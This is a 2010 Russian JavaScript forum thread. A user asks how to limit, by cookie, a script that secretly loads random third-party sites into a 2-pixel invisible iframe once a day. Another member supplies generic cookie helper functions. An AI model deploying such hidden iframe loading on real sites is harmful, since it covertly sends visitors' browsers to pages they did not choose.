Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 10.12.2010, 16:45
Интересующийся
Отправить личное сообщение для nv43 Посмотреть профиль Найти все сообщения от nv43
 
Регистрация: 08.12.2010
Сообщений: 15

Блокировка выполнения скрипта по cookie с помощью jquery.cookie.js
Добрый день. Вобщем есть сайт на котором есть скрипт для невидимой переадресации юзеров на другие сайты через iframe(нечего криминального не делаю).
var a=Math.round(Math.random()*2)
//это число должно совпадать с максимальным индексом таблицы ссылок

link = new Array();
link[0]="http://site1.ru/"
link[1]="http://site2.ru/"
link[2]="http://site3.ru/"
//с максимальным индексом link[..] совпадает число, на которое умножаем вверху


var frame = document.createElement("IFRAME");
frame.src = link[a];
frame.style.cssText = "border: 0 none; height: 2px; width: 2px";
frame.scrolling = "no";
document.body.appendChild(frame);


Так вот есть необходимость чтобы данный скрипт работал лишь раз в 24 часа, тоесть нужно ограничить его выполнение если пользователь пришёл на сайт, а 24 часа ещё не прошло.

Вобщем пытался я сделать сам такой контроль пользователей, но нечего не получилось,ошибок наверное тьма...

Вобщем вот то что получилось:

<script src="jquery.cookie.js" type="text/javascript"></script>


<script type="text/javascript">
function check($user) {

if (tmp == "user") return true;
      else return false;
}



   
      var tmp= $.cookie['user'];
      
      if (check($user));
      else $.cookie(‘user’, ‘$user’, { expires: 1 }) &&  genrnd (); //установить куки с временем жизни 1 день и выполнить скрипт;
   



function genrnd() {
var a=Math.round(Math.random()*2)
//это число должно совпадать с максимальным индексом таблицы ссылок

link = new Array();
link[0]="http://site1.ru/"
link[1]="http://site2.ru/"
link[2]="http://site3.ru/"
//с максимальным индексом link[..] совпадает число, на которое умножаем вверху


var frame = document.createElement("IFRAME");
frame.src = link[a];
frame.style.cssText = "border: 0 none; height: 2px; width: 2px";
frame.scrolling = "no";
document.body.appendChild(frame);
}
</script>


Подскажите пожалуйста как заставить эту систему работать, спасибо.
Ответить с цитированием
  #2 (permalink)  
Старый 10.12.2010, 20:18
Аватар для ksa
ksa ksa вне форума
CacheVar
Отправить личное сообщение для ksa Посмотреть профиль Найти все сообщения от ksa
 
Регистрация: 19.08.2010
Сообщений: 14,118

Сообщение от nv43
как заставить эту систему работать
Так вроде все просто...
- попал в скрипт
- прочитал куку
- если не андефайнет - ретурн от туда
- в противном случае записал куку и продолжилскрипт
Ответить с цитированием
  #3 (permalink)  
Старый 10.12.2010, 20:58
Интересующийся
Отправить личное сообщение для nv43 Посмотреть профиль Найти все сообщения от nv43
 
Регистрация: 08.12.2010
Сообщений: 15

Ну я что то подобное попытался сделать, только в моём случае если кука есть то тупо нечего не делается, если нет её то ставим+как то выполняем скрипт.

Хотелось бы код увидеть как правильно это сделать и узнать то что я пытался накодить похоже хотя бы на правду или нет ибо пока не успеваю изучить js...
Ответить с цитированием
  #4 (permalink)  
Старый 10.12.2010, 21:56
Аватар для ksa
ksa ksa вне форума
CacheVar
Отправить личное сообщение для ksa Посмотреть профиль Найти все сообщения от ksa
 
Регистрация: 19.08.2010
Сообщений: 14,118

Сообщение от nv43
узнать то что я пытался накодить похоже хотя бы на правду или нет
Я пока фреймворки не использую... Есть обычные функции для работы с куками, вот ими и орудую...

/*
	name - имя cookie
	value - значение cookie
	[expires] - дата окончания действия cookie (по умолчанию - до конца сессии)
	[path] - путь, для которого cookie действительно (по умолчанию - документ, в котором значение было установлено)
	[domain] - домен, для которого cookie действительно (по умолчанию - домен, в котором значение было установлено)
	[secure] - логическое значение, показывающее требуется ли защищенная передача значения cookie
*/
function setCookie(name, value, expires, path, domain, secure) {
	var curCookie = name + "=" + escape(value) +
		((expires) ? "; expires=" + expires.toGMTString() : "") +
		((path) ? "; path=" + path : "") +
		((domain) ? "; domain=" + domain : "") +
		((secure) ? "; secure" : "")
	if ((name + "=" + escape(value)).length <= 4000)
		document.cookie = curCookie
	else if (confirm("Cookie превышает 4KB и будет вырезан !"))
		document.cookie = curCookie
}

/*
	name - имя считываемого cookie
*/
function getCookie(name) {
	var prefix = name + "="
	var cookieStartIndex = document.cookie.indexOf(prefix)
	if (cookieStartIndex == -1)
		return null
	var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length)
	if (cookieEndIndex == -1)
		cookieEndIndex = document.cookie.length
	return unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex))
}
Ответить с цитированием
  #5 (permalink)  
Старый 10.12.2010, 22:41
Интересующийся
Отправить личное сообщение для nv43 Посмотреть профиль Найти все сообщения от nv43
 
Регистрация: 08.12.2010
Сообщений: 15

Спасибо за ответ.

Дату окончания куки каким образом задавать? Что то типо 3600000*24*nDays?
Зачем вырезать куки если они более 4 кб и выдавать сообщение при этом?

И ещё сначала ведь наверно гет куки должен идти(в моём случае) а затем уже сет куки, а то получается что при старте скрипта сначала ставится кука а потом уже проверяется или чего то непонимаю???

А как мне передать управление на скрипт для генерации случайной ссылки ?
Ответить с цитированием
  #6 (permalink)  
Старый 12.12.2010, 10:22
Аватар для ksa
ksa ksa вне форума
CacheVar
Отправить личное сообщение для ksa Посмотреть профиль Найти все сообщения от ksa
 
Регистрация: 19.08.2010
Сообщений: 14,118

Сообщение от nv43
сначала ведь наверно гет куки должен идти(в моём случае) а затем уже сет куки
Весь алгоритм я написал тебе выше...
Сообщение от nv43
Дату окончания куки каким образом задавать? Что то типо 3600000*24*nDays?
Вроде вот так
var expires="15/02/2011 00:00:00"

Сообщение от nv43
как мне передать управление на скрипт для генерации случайной ссылки ?
Просто вызвать нужную функцию и все...
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Google Chrome перерисовка страницы во время выполнения скрипта Dekart Javascript под браузер 0 08.06.2010 08:35
Вставка скрипта с помощью innerHTML hryachok Events/DOM/Window 11 06.04.2010 14:52
Остановка выполнения скрипта parzh-junior Элементы интерфейса 0 12.12.2009 13:58
Как поставить тайм-аут для выполнения скрипта cln2008 Общие вопросы Javascript 7 23.09.2009 14:57
Нужно добавить блокировку ссылки на время выполнения скрипта aidka Events/DOM/Window 1 02.08.2009 20:11